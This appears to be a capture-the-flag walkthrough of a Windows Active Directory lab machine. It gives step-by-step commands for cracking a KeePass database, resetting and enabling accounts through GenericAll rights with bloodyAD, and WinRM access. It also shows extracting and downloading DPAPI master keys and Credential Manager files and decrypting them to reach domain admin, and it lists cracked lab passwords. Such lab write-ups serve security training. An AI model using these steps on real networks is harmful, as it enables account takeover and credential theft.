Puppy
by Hugo Beaulieu
Overview
Puppy is a Windows Active Directory machine that involves credential recovery from a KeePass database, Active Directory enumeration with BloodHound, and privilege escalation through delegated permissions. The attack chain requires analyzing AD relationships to identify a path to domain admin through password resets and account manipulation.
Initial Access
We start with compromised credentials for the user james, which allows us to access the development share on the domain.
Step 1: Adding James to Developers Group
First, we add james to the developers group to gain access to the dev share.
Step 2: Accessing the Dev Share
Once james is part of the developers group, we can access the development share and discover a KeePass recovery database.
Step 3: Cracking the KeePass Database
Using fresh versions of john and keepass2john, we extract and crack the KeePass recovery database password. This reveals several user credentials:
keepass2john recovery.kdbx > keepass.hash
john --wordlist=rockyou.txt keepass.hash
The recovered credentials are:
- Adam (adam.silver):
HJKL2025! - Anthony (ant.edwards):
Antman2025! - Jamie:
JamieLove2025! - Sam:
ILY2025! - Steve:
Steve2025!
Active Directory Enumeration
Step 4: BloodHound Analysis
We run BloodHound to analyze the Active Directory structure and identify high-value targets. The analysis reveals several key findings:
- Jamie has no high-value targets and appears to be a dead end
- Adam (adam.silver) is a disabled member of the Remote Management group (WinRM) with 9 high-value targets and AdminCount set to true
- Anthony (ant.edwards) has 9 high-value targets through adam, but AdminCount is set to false. He has delegated GenericAll permission on adam through the Senior Devs group
The logical attack path becomes clear: anthony → adam → admin
Jamie is essentially useless for our purposes, while Anthony’s delegated permissions on Adam provide our escalation path.
Privilege Escalation
Step 5: Taking Ownership and Resetting Adam’s Password
Using Anthony’s credentials and his GenericAll permission, we take ownership of Adam’s account and reset his password using bloodyAD:
bloodyAD --host 10.100.100.100 -d Puppy.htb -u ant.edwards -p Antman2025! set password adam.silver NewPassword123!
Step 6: Enabling Adam’s Account
Since Adam’s account is disabled, we need to enable it by modifying the userAccountControl attribute:
bloodyAD -d Puppy.htb -u ant.edwards -p Antman2025! --dc-ip 10.100.100.100 set object adam.silver userAccountControl -v 512
Step 7: Accessing via WinRM
With Adam’s account now enabled and the password reset, we can connect using evil-winrm:
evil-winrm -i 10.100.100.100 -u adam.silver -p NewPassword123!
We retrieve the user flag from Adam’s desktop. Running WinPEAS doesn’t reveal any additional information at this stage.
Lateral Movement to Administrator
Step 8: Discovering Additional AD Objects
Back in BloodHound, we identify two more interesting accounts in the Puppy Admins OU:
- steph.cooper_adm: First-degree local admin, member of the admin group
- steph.cooper: Regular account with CanPSRemote (WinRM) permission
Step 9: Password Pattern Analysis
Based on the password pattern we’ve seen (Name2025!), we try common variations:
Stephen2025!- No successSteph2025!- No success
Step 10: Discovering Backup Files
In the C:\Backups directory, we find and download site-backup-2024-12-30.zip. Inside the archive, we discover nms-auth-config.xml.bak which contains credentials for steph.cooper:
Password: [REDACTED]
Step 11: Connecting as Steph Cooper
We connect with steph’s credentials via WinRM:
evil-winrm -i 10.100.100.100 -u steph.cooper -p [REDACTED]
Running WinPEAS and PowerView/PowerUp doesn’t reveal any obvious privilege escalation vectors.
Windows Credential Manager Exploitation
Step 12: Discovering Stored Credentials
We run Seatbelt, which reveals Windows Credential Manager data:
Local Credential Data
Folder: C:\Users\steph.cooper\AppData\Local\Microsoft\Credentials\
FileName: DFBE70A7E5CC19A398EBF1B96859CE5D
MasterKey: 556a2412-1275-4ccf-b721-e6a0b4f90407
Enterprise Credential Data
Folder: C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\
FileName: C8D69EBE9A43E9DEBF6B5FBD48B521B9
MasterKey: 556a2412-1275-4ccf-b721-e6a0b4f90407
Step 13: Initial DPAPI Attempts
We attempt to decrypt the credentials using SharpDPAPI and DPAPISnoop, but encounter CryptProtectData errors:
.\SharpDPAPI.exe triage /password:[REDACTED]
.\DPAPISnoop.exe
Step 14: Extracting Master Keys
Since SharpDPAPI failed, we switch to using impacket-dpapi. First, we need to extract the master key file, but Evil-WinRM doesn’t allow direct download of binary files. We convert the master key to base64:
$key = "556a2412-1275-4ccf-b721-e6a0b4f90407"
$fileBytes = [System.IO.File]::ReadAllBytes("C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\$key")
$base64String = [Convert]::ToBase64String($fileBytes)
[System.IO.File]::WriteAllText("C:\Users\steph.cooper\$key.txt", $base64String, [System.Text.Encoding]::ASCII)
Download the base64 file:
$base64file = "C:\Users\steph.cooper\" + $key + ".txt"
download $base64file
Step 15: Decoding the Master Key
On our Linux host, we decode the base64 master key:
base64 -d 556a2412-1275-4ccf-b721-e6a0b4f90407.txt > 556a2412-1275-4ccf-b721-e6a0b4f90407
Step 16: Extracting Credential Files
We repeat the same base64 conversion process for the credential file:
C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9
Step 17: Decrypting the Master Key
Using impacket-dpapi, we decrypt the master key with Steph’s password:
impacket-dpapi masterkey -file 556a2412-1275-4ccf-b721-e6a0b4f90407 \
-sid S-1-5-21-1487982659-1829050783-2281216199-1107 \
-password '[REDACTED]'
This outputs the decrypted master key.
Step 18: Decrypting the Credential File
Finally, we decrypt the Windows credential file using the decrypted master key:
impacket-dpapi credential -file C8D69EBE9A43E9DEBF6B5FBD48B521B9 \
-key 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
This reveals the administrator credentials stored in the Credential Manager, granting us full domain admin access.
Key Takeaways
- KeePass databases can be cracked with
johnandkeepass2johnwhen recovery files are accessible - BloodHound is essential for mapping privilege escalation paths in Active Directory
- GenericAll permissions allow complete control over user objects, including password resets
- Windows Credential Manager stores can be decrypted using DPAPI master keys
- Impacket-dpapi is effective when Windows-native tools fail due to CryptProtectData errors
- Base64 encoding is a useful workaround for transferring binary files through restricted channels